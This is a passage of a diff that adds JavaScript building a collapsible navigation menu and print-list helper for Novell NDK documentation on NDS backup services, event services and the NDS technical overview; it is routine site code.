+ if (top.titles[i].replace(re,"") == item.text.replace(re,""))
+ {
+ top.printList += (top.authors[i].length + 3) + "_" + top.authors[i].replace(/\s/g,"+") + "+en";
+ top.printCount ++;
+ }
+ }
+ }
+ else if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ if (item.submenu.items[x].selected)
+ {
+ var name = item.submenu.items[x].text;
+ for (var i = 0 ; i < top.authors.length; i++)
+ {
+ var re = /\s$/;
+ if (top.titles[i].replace(re,"") == name.replace(re,""))
+ {
+ top.printList += (top.authors[i].length + 3) + "_" + top.authors[i].replace(/\s/g,"+") + "+en";
+ top.printCount ++;
+ }
+ }
+
+ }
+ else
+ {
+ getNextChecked(item.submenu.items[x]);
+ }
+ }
+ }
+
+ }
+
+// Get a URL to pass checked topics to the Print Servlet
+
+
+
+ function getPrintUrl(menu)
+ {
+ top.printList = "";
+ top.printCount = 0;
+
+ getNextChecked(menu.items[0]);
+ top.printList = top.printCount + "_" + top.printList;
+
+ return top.printList;
+ }
+
+ function setLevels()
+ {
+
+ // Tracking the parent of the next node.
+ levelParents[currentLevel + 1] = index;
+
+ // levelIndex is the child index under a branch
+ if (levelIndexes[currentLevel] == null)
+ {
+ levelIndexes[currentLevel] = 0;
+ }
+ else
+ {
+ levelIndexes[currentLevel] = levelIndexes[currentLevel] + 1;
+ levelIndexes[currentLevel + 1] = -1;
+ }
+ }
+
+ function buildTree()
+ {
+
+// Determine which nodes have children and assign the correct property
+ for (var i = 0; i < navigationTree.length-1; i++)
+ {
+ // see if the current node has chilren
+ var thisLevel = navigationTree[i]["level"];
+ var nextLevel = navigationTree[i+1]["level"];
+
+ if (nextLevel > thisLevel)
+ {
+ navigationTree[i]["hasChild"] = true;
+ }
+ else
+ {
+ navigationTree[i]["hasChild"] = false;
+ }
+ }
+
+
+// create tree object nodes.
+ for( var j = 0; j < navigationTree.length; j++)
+ {
+ treeNodes[j] = null;
+ treeNodes[j] = new MTMenu();
+ }
+
+
+// add all items to nodes -
+// NOTE, index to add to is the parent index + 1 for node tree offset of root=0
+ for( var j3 = 0; j3 < navigationTree.length; j3++)
+ {
+ if (navigationTree[j3]["parentIndex"] == null)
+ {
+ var nsearchID = navigationTree[j3]["author"];
+ treeNodes[0].MTMAddItem(new MTMenuItem(navigationTree[j3]["title"], navigationTree[j3]["URL"].replace(/http...developer.novell.com.ndk/gi,"/ndk") , "content_frame", nsearchID));
+ }
+ else
+ {
+ var nsearchID = navigationTree[j3]["author"];
+ treeNodes[navigationTree[j3]["parentIndex"] + 1 ].MTMAddItem(new MTMenuItem(navigationTree[j3]["title"], navigationTree[j3]["URL"].replace(/http...developer.novell.com.ndk/gi,"/ndk"), "content_frame",nsearchID));
+ }
+ }
+
+// create submenu structure
+// NOTE: add 1 to parent nodes for root = 0 offset.
+ for( var j4 = 0; j4 < navigationTree.length; j4++)
+ {
+ if (navigationTree[j4]["hasChild"])
+ {
+ var pindex = null;
+ if (navigationTree[j4]["parentIndex"] == null)
+ {
+
+ pindex = 0;
+ }
+ else
+ {
+ pindex = navigationTree[j4]["parentIndex"]+1;
+ }
+
+ var lindex = navigationTree[j4]["levelIndex"];
+ // document.write('treeNodes[' + pindex +'].items['+ lindex +'].MTMakeSubmenu(treeNodes['+(j4+1)+']);<br>');
+
+ treeNodes[pindex].items[lindex].MTMakeSubmenu(treeNodes[j4+1]);
+ }
+ }
+
+ menu = treeNodes[0];
+
+//expand the second item to display the sub contents on first display
+ if (menu.items[0] != null )
+ {
+ menu.items[0].expanded = true;
+
+ }
+
+
+
+ }
+
+
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Libraries for C ","http://developer.novell.com/ndk/doc/ndslib/treetitl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Backup Services ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/hevgtl7k.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Functions ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/h7qwv271.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDSBackupServerData ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSFreeNameList ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk12.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSGetReplicaPartitionNames ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk19.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSIsOnlyServerInTree ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk26.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSSYSVolumeRecovery ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk33.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSVerifyServerInfo ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk40.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Structures ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/hqp7vveq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NAMEID_TYPE ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk48.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Values ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/hmmmal7s.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Reason Flags ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/h3r99io5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Server Flags ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/hnlckbki.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Services ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hmwiqbwd.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Concepts ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hj3udfo7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Introduction ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hmgeu8a1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Functions ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hxwcemsz.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Priorities ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hux0tdup.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Data Filtering ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/ha7nqbpy.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Types ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/h741eryw.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Global Network Monitoring ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/h9alatk4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Tasks ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/huypg52u.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Monitoring NDS Events ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hhkihe7f.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registering for NDS Events ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/h0xmzt1h.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unregistering for NDS Events ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hk3fvwed.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Functions ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/h7qwv271.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEConvertEntryName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk28.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalAttrID ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk33.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalAttrName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk39.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalClassID ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk45.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalClassName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk51.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalEntryID ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk57.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalEntryName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk63.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSERegisterForEvent ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk69.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSERegisterForEventWithResult ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk75.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEUnRegisterForEvent ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk81.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Structures ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hqp7vveq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("DSEACL ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk88.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEBackLink ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk92.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEBinderyObjectInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk96.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEBitString ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk100.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEChangeConnState ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk104.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSECIList ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk108.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEDebugInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk112.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEEmailAddress ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk116.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEEntryInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk120.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEEntryInfo2 ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk124.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEEventData ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk128.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEFaxNumber ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk132.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEHold ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk135.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEModuleState ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk139.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSENetAddress ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk143.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEOctetList ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk147.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEPath ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk151.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEReplicaPointer ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk155.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSESEVInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk159.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSETimeStamp ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk163.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSETraceInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk167.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSETypedName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk172.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEVALData ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk176.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEValueInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk179.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Values ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hmmmal7s.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Event Priorities ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hlerfllh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Event Types ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hiz5y84y.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/a6hw6zr.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Technical Overview ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h6tvg4z7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS as the Internet Directory ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h273w870.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Requirements for Networks and the Internet ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/a2lh37b.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Compliance to X.500 Standard ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h0jj42d7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Compliance with LDAP v3 ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/a2b6k5w.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Directory Access Protocols ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/a2b6k5x.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Programming Interfaces for NDS ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h2qzzkq8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Architecture ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h6mny7fl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Objects ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hp4dslw5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Names ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h0yh1byj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Types of Information Stored in NDS ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hci52ynf.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Retrieval of Information from NDS ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hwwz5mda.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Tree Walking ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h2xhaphc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Object Management ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h3mq2rf0.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Security ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hl8x1zxc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Authentication ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hp901s8a.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Access Control Lists ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hr8sqtoi.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Inheritance ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hh9881ul.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NetWare File System ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h64btfhk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Partitions and Replicas ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hmq60r6h.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Partitioning ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hqx5hvrp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replication ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hj5l8npv.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Distributed Reference Management ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hzap47de.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Operations ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hgbpk7x9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Synchronization ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hsiplgn4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Background Processes ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hz2kcp2e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Bindery Services ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hwug6ytv.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Bindery Context ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h8dwby8o.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Context Path ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h6y3yva6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Context Eclipsing ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hwcqk80m.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
